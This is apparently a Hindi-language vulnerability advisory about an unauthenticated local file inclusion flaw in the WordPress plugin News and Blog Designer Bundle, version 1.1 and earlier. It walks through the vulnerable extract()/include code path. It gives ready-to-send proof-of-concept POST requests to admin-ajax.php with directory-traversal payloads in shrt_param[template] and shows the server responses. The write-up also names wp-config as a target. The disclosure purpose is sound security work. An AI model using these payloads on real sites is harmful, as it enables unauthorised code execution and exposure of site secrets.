
WordPress का News and Blog Designer Bundle प्लगइन, संस्करण 1.1 और उससे पहले के सभी संस्करणों में, template पैरामीटर के माध्यम से स्थानीय फ़ाइल समावेशन (Local File Inclusion) भेद्यता मौजूद है। यह भेद्यता बिना प्रमाणीकरण वाले हमलावरों को सर्वर पर मौजूद किसी भी .php फ़ाइल को शामिल करने और निष्पादित करने की अनुमति देती है, जिससे इन फ़ाइलों में मौजूद कोई भी PHP कोड चलाया जा सकता है। उन परिदृश्यों में जहाँ .php फ़ाइल प्रकारों को अपलोड और शामिल करने की अनुमति होती है, हमलावर इस भेद्यता का उपयोग करके अभिगम नियंत्रण को बायपास कर सकते हैं, संवेदनशील डेटा प्राप्त कर सकते हैं, या कोड निष्पादन सक्षम कर सकते हैं।
भेद्यता प्रकार: लोकल फ़ाइल इन्क्लूज़न (Local File Inclusion, LFI)
प्रभावित संस्करण: News and Blog Designer Bundle 1.1 और उससे पहले के सभी संस्करण
गंभीरता: उच्च जोखिम
हमले की जटिलता: कम (प्रमाणीकरण की आवश्यकता नहीं)
मुख्य भेद्यता includes/class-nbdb-ajax.php फ़ाइल की nbdb_fetch_more_post() विधि में मौजूद है।
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
समस्या 1: extract() फ़ंक्शन का अनुचित उपयोग
पंक्ति 31 के कोड में गंभीर समस्या है:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() फ़ंक्शन सरणी की कुंजियों को चर नामों के रूप में और मानों को चर मानों के रूप में सीधे वर्तमान स्कोप में निकालता हैextract() का रिटर्न मान सफलतापूर्वक निकाले गए चरों की संख्या (पूर्णांक) होता है, न कि सरणी स्वयंsanitize_text_field() फ़ंक्शन स्ट्रिंग पैरामीटर प्राप्त करने की अपेक्षा करता है, लेकिन यहाँ पूर्णांक पास किया गया हैसमस्या 2: पैरामीटर सत्यापन की कमी
पंक्ति 33 सीधे $template चर का उपयोग करके फ़ाइल पथ बनाती है:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template चर extract($_POST['shrt_param']) से आता है, पूरी तरह से उपयोगकर्ता इनपुट द्वारा नियंत्रितसमस्या 3: केवल फ़ाइल की उपस्थिति की जाँच
पंक्ति 34 केवल यह जाँचती है कि फ़ाइल मौजूद है या नहीं:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() केवल यह सत्यापित करता है कि फ़ाइल मौजूद है या नहीं, पथ की वैधता सत्यापित नहीं करता$template पैरामीटर को नियंत्रित कर सकता है, तो ../ के माध्यम से निर्देशिका ट्रैवर्सल कर सकता हैinclude($template_file) निष्पादित होता है, जिससे मनमानी फ़ाइल इन्क्लूज़न होती हैshortcodes/class-nbdb-shortcode.php में, सभी शॉर्टकोड हैंडलिंग फ़ंक्शन व्हाइटलिस्ट सत्यापन का उपयोग करते हैं:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() फ़ंक्शन का उपयोग करता है (केवल template-1 और template-2)array_key_exists() का उपयोग करता हैtemplate-1 का उपयोग करता हैयह साबित करता है कि डेवलपर पैरामीटर को सही ढंग से सत्यापित करना जानता है, लेकिन AJAX हैंडलिंग फ़ंक्शन में सत्यापन छूट गया है।
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ और wp_ajax_nopriv_ दोनों हुक एक साथ पंजीकृत हैंwp_ajax_nopriv_ बिना लॉगिन उपयोगकर्ताओं को पहुँच की अनुमति देता है/wp-admin/admin-ajax.php पर दुर्भावनापूर्ण POST अनुरोध बनाता हैaction=nbdb_fetch_more_post सेट करता हैshrt_param[template] में निर्देशिका ट्रैवर्सल पेलोड इंजेक्ट करता है (जैसे ../../../../wp-config)extract($_POST['shrt_param']) निष्पादित करता है और template को चर के रूप में निकालता हैNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() true लौटाता हैinclude($template_file) निष्पादित करता है, लक्ष्य PHP फ़ाइल को शामिल और निष्पादित करता हैwp-config.php).php होना चाहिए (कोड में .php प्रत्यय हार्डकोडेड है)include() द्वारा शामिल की गई फ़ाइल को निष्पादित करने की अनुमति देनी होगी। "पढ़ने में सक्षम" होने की पूर्व शर्त है: शामिल की गई PHP स्वयं दृश्यमान आउटपुट (echo/print/त्रुटि/प्रोटोकॉल प्रतिक्रिया) उत्पन्न करेगी, अन्यथा आप सामग्री नहीं देख पाएंगे।POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}